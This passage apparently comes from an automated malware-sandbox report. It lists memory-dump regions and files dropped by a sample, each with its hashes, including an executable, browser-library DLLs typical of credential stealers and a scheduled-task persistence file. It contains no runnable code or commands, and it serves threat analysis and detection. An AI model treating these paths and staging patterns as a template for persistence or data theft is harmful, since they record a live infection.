SHA256 376e1802b979514ba0e9c73933a8c6a09dd3f1d2a289f420c2202e64503d08a7
SHA512 d861130d87bfedc38a97019cba17724067f397e6ffe7e1384175db48c0a177a2e7e256c3c933d0f42766e8077f767d6d4dc8758200852e8ec135736daee7c0f8

memory/3268-678-0x0000000000740000-0x0000000000C53000-memory.dmp

C:\ProgramData\FCAKFCGCGI.exe

MD5 daaff76b0baf0a1f9cec253560c5db20
SHA1 0311cf0eeb4beddd2c69c6e97462595313a41e78
SHA256 5706c6f5421a6a34fdcb67e9c9e71283c8fc1c33499904519cbdc6a21e6b071c
SHA512 987ca2d67903c65ee1075c4a5250c85840aea26647b1d95a3e73a26dcad053bd4c31df4ca01d6cc0c196fa7e8e84ab63ed4a537f72fc0b1ee4ba09cdb549ddf3

memory/3008-689-0x0000000000EC0000-0x0000000001108000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\c8394e0c

MD5 8d443e7cb87cacf0f589ce55599e008f
SHA1 c7ff0475a3978271e0a8417ac4a826089c083772
SHA256 e2aaaa1a0431aab1616e2b612e9b68448107e6ce71333f9c0ec1763023b72b2a
SHA512 c7d0ced6eb9e203d481d1dbdd5965278620c10cdc81c02da9c4f7f99f3f8c61dfe975cf48d4b93ccde9857edb881a77ebe9cd13ae7ef029285d770d767aa74a5

memory/3268-699-0x00000000720C0000-0x000000007223D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\c6e54871

MD5 c62f812e250409fbd3c78141984270f2
SHA1 9c7c70bb78aa0de4ccf0c2b5d87b37c8a40bd806
SHA256 d8617477c800cc10f9b52e90b885117a27266831fb5033647b6b6bd6025380a8
SHA512 7573ecac1725f395bbb1661f743d8ee6b029f357d3ef07d0d96ee4ff3548fe06fab105ee72be3e3964d2053de2f44245cca9a061d47c1411949840c84f6e9092

memory/3008-701-0x00000000720C0000-0x000000007223D000-memory.dmp

memory/3268-702-0x00007FFE38180000-0x00007FFE38389000-memory.dmp

memory/3008-703-0x00007FFE38180000-0x00007FFE38389000-memory.dmp

memory/1968-707-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-724-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-725-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-726-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-730-0x0000000000A00000-0x000000000114A000-memory.dmp

C:\ProgramData\GIDAECGDAFBA\EGHJKF

MD5 59071590099d21dd439896592338bf95
SHA1 6a521e1d2a632c26e53b83d2cc4b0edecfc1e68c
SHA256 07854d2fef297a06ba81685e660c332de36d5d18d546927d30daad6d7fda1541
SHA512 eedb6cadbceb2c991fc6f68dccb80463b3f660c5358acd7d705398ae2e3df2b4327f0f6c6746486848bd2992b379776483a98063ae96edb45877bb0314874668

memory/1968-731-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-747-0x0000000000A00000-0x000000000114A000-memory.dmp

memory/1968-748-0x0000000000A00000-0x000000000114A000-memory.dmp

C:\ProgramData\GIDAECGDAFBA\AKKKEC

MD5 c8260d37073d07384063820fcd97cb1c
SHA1 25324c500695d19e4a0a0824228576a59f9abe58
SHA256 29391ff5068cfd037ed486db2fd2bc780731ca952df39377240aa4456f176560
SHA512 ffbba119b938f8227907792b8a7853daf8c8279c9f3e0f4408ddb324b21a75d093e8790efe4a7e6876b171a2cffb71022cd7a8d2f4fd1ac5b813c5aec4d6bd4b

memory/3268-759-0x00000000720C0000-0x000000007223D000-memory.dmp

memory/3008-761-0x00000000720C0000-0x000000007223D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ca1ca5f6

MD5 cfc55b54cce9a6a25217a4df5fe39f50
SHA1 5c55c2dbabe011f89a8f51a611f9d05414d770cc
SHA256 2c9c701ac67426f651d11a97c926928a4749e977a846850309f41725d02efcf0
SHA512 2bf808bc34a76bbdeb9bcd84b9ad8d852fa8d6d99704385aa2e87b5602bcac4d7b0ef587ca665147ae06047bfc74d60ffcaaefc8ee17d7c527acd5510e96966c

C:\Users\Admin\AppData\Local\Temp\ca823d87

MD5 71869df9ede341b83f1ef886e3746dc9
SHA1 2642a4cbb5a7837a8336c78a497c74e17927ade5
SHA256 98da00af718da3ea98f7a48955fa47a922c1d4a4800ce7cd3b9dea43dddb8e4e
SHA512 226d744b93773483ee6ccd5a9b21bc338d08270d04330e91d2284ac7936fd5f35d684b0c6531db33708891524bc6603484af126d1371a34985ac8fadc6c2fc43

memory/4744-765-0x00007FFE38180000-0x00007FFE38389000-memory.dmp

memory/2424-766-0x00007FFE38180000-0x00007FFE38389000-memory.dmp

C:\ProgramData\GIDAECGDAFBA\VCRUNT~1.DLL

MD5 a37ee36b536409056a86f50e67777dd7
SHA1 1cafa159292aa736fc595fc04e16325b27cd6750
SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
SHA512 3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

C:\ProgramData\GIDAECGDAFBA\softokn3.dll

MD5 4e52d739c324db8225bd9ab2695f262f
SHA1 71c3da43dc5a0d2a1941e874a6d015a071783889
SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
SHA512 2d4168a69082a9192b9248f7331bd806c260478ff817567df54f997d7c3c7d640776131355401e4bdb9744e246c36d658cb24b18de67d8f23f10066e5fe445f6

C:\ProgramData\GIDAECGDAFBA\msvcp140.dll

MD5 5ff1fca37c466d6723ec67be93b51442
SHA1 34cc4e158092083b13d67d6d2bc9e57b798a303b
SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA512 4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

memory/2424-772-0x00000000720C0000-0x000000007223D000-memory.dmp

memory/2424-782-0x00000000720C0000-0x000000007223D000-memory.dmp

memory/3124-785-0x00007FFE15CA0000-0x00007FFE17340000-memory.dmp

memory/3124-789-0x0000000000400000-0x000000000040A000-memory.dmp

memory/2420-792-0x00007FFE38180000-0x00007FFE38389000-memory.dmp

memory/3516-796-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3516-797-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3516-798-0x000002C3B0EA0000-0x000002C3B0EC0000-memory.dmp

memory/3516-794-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3516-800-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3516-801-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/3516-799-0x0000000140000000-0x00000001407DC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\2d503f0f

MD5 50aaa4a0ec88bff4ee18c98829d3fd6b
SHA1 d91616f8a32fb35d77a54588d4b279e75d9810be
SHA256 2d56eef54128ba187043de4d0f316c8571e47f59e3d786087c664d452bacbd2f
SHA512 a9d7da90b38b769ce75ede05aa896178dbdf31320a61cf3c36c8f27dd10bcff1babbaa449d7c8f95722780c5ca87f0e58321ac9508c6d28e696e0ada8f8234da

C:\Windows\Tasks\Watcher Com SH.job

MD5 a5f3118fb4b20adc0729a8b4a9839831
SHA1 9b7a01309019af97e0ed0d527f90230330bd1d20
SHA256 d05ea71c2f0782291f88cd4a3d98caa12167bc1d235ad1a35d290d7a53529717
SHA512 1c5a151fee3c8d3cefee3b189273fc7ca9e75a440e070363a6499068b7df1cfad373f5a88467a714bbffb595525bf727515656e60128cf9641b7e5fa791a9da6

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MSBuild.exe.log

MD5 5dd6ecdc4507cc0f897cded9ebeb94b4
SHA1 afd42365a5a8fa71f506a3d34960f8ed459cfd86
SHA256 8b410de677f095f88c42c69c716a9383b94ceb86ca90666188fcd4f4df7fc9fa
SHA512 078e5c9b8062420ef2c3a3a816961e957b0daa7f7a2ecd92689d0399febda98a0c727d1cd9b286adce1c132b9efbd383179867cc494831d4679d9e3805d51a06

C:\Users\Admin\AppData\Local\Temp\294b5bd2

MD5 66b6ed31f5e58738c213a76d78c20d3a
SHA1 ec836ca1e45ad39abc4bfbaa2f33026f03324f6e
SHA256 4bf30cae1addffa5a79e591bc7fad30d8b7fa8bcb6372673b3cee7b12ace444f
SHA512 44789289e9a97b5ac5b479a0af54fc9e153bf26a3981bbe86811897e0671623ae10e7fa534319b3e80e6cd36e270a00f5e342fd7f61035b1c0e399a0474627e2